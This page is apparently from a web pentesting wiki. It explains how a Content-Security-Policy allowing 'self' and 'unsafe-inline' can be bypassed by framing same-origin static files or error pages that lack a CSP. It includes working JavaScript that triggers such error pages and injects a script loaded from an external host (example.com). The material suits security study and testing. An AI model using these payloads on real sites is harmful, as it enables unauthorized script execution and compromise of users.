csp-bypass-self-unsafe-inline-with-iframes.md (3705B)
1 --- 2 title: "CSP Bypass via 'self', 'unsafe-inline', and Iframes" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-%2B-unsafe-inline-with-iframes.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # CSP Bypass via `'self'`, `'unsafe-inline'`, and Iframes 14 15 Consider this policy: 16 17 ```text 18 Content-Security-Policy: default-src 'self' 'unsafe-inline'; 19 ``` 20 21 Because `script-src` is absent, `default-src` is its fallback. The policy allows same-origin scripts and inline scripts, but it does **not** allow string-to-code APIs such as `eval()` or string arguments to `setTimeout()` and `setInterval()` because `'unsafe-eval'` is absent. It also uses `default-src` as the fallback for several other resource types.<sup>[[1]](#references)</sup> 22 23 This is already a weak CSP: `'unsafe-inline'` permits inline JavaScript. The iframe technique below matters when an attacker can execute inline code in the protected parent but needs a less restricted same-origin child document to load another script.<sup>[[1]](#references)[[2]](#references)</sup> 24 25 ## Via Text & Images 26 27 Some browser and server combinations render a same-origin text or image response placed in an iframe as a document. Common candidates include `robots.txt`, `favicon.ico`, stylesheets, and other static resources. If that response has no CSP of its own and remains same-origin, script in the parent may be able to access the child DOM and append a script element. This behavior is content-type-, header-, and browser-dependent; verify it on the exact target rather than treating it as universal.<sup>[[2]](#references)</sup> 28 29 ```javascript 30 frame = document.createElement("iframe") 31 frame.onload = () => { 32 script = document.createElement("script") 33 script.src = "//example.com/csp.js" 34 frame.contentDocument.head.appendChild(script) 35 } 36 frame.src = "/css/bootstrap.min.css" 37 document.body.appendChild(frame) 38 ``` 39 40 ## Via Errors 41 42 An application or reverse proxy may also return same-origin error documents without the normal CSP. If such a response can be framed and accessed by the parent, it can provide the same less-restricted child context.<sup>[[2]](#references)</sup> 43 44 ```javascript 45 // Inducing an nginx error 46 frame = document.createElement("iframe") 47 frame.src = "/%2e%2e%2f" 48 document.body.appendChild(frame) 49 50 // Triggering an error with a long URL 51 frame = document.createElement("iframe") 52 frame.src = "/" + "A".repeat(20000) 53 document.body.appendChild(frame) 54 55 // Generating an error via extensive cookies 56 for (var i = 0; i < 5; i++) { 57 document.cookie = i + "=" + "a".repeat(4000) 58 } 59 frame = document.createElement("iframe") 60 frame.src = "/" 61 document.body.appendChild(frame) 62 // Remove the test cookies after execution. 63 for (var i = 0; i < 5; i++) { 64 document.cookie = i + "=; Max-Age=0; path=/" 65 } 66 ``` 67 68 When using one of the error responses, attach the handler before navigating the frame so that the child document is fully loaded before it is modified: 69 70 ```javascript 71 frame.onload = () => { 72 script = document.createElement("script") 73 script.src = "//example.com/csp.js" 74 frame.contentDocument.head.appendChild(script) 75 } 76 ``` 77 78 ## References 79 80 - [1] [W3C - Content Security Policy Level 3](https://www.w3.org/TR/CSP/) 81 - [2] [Wallarm - How to trick CSP into letting you run external JavaScript](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)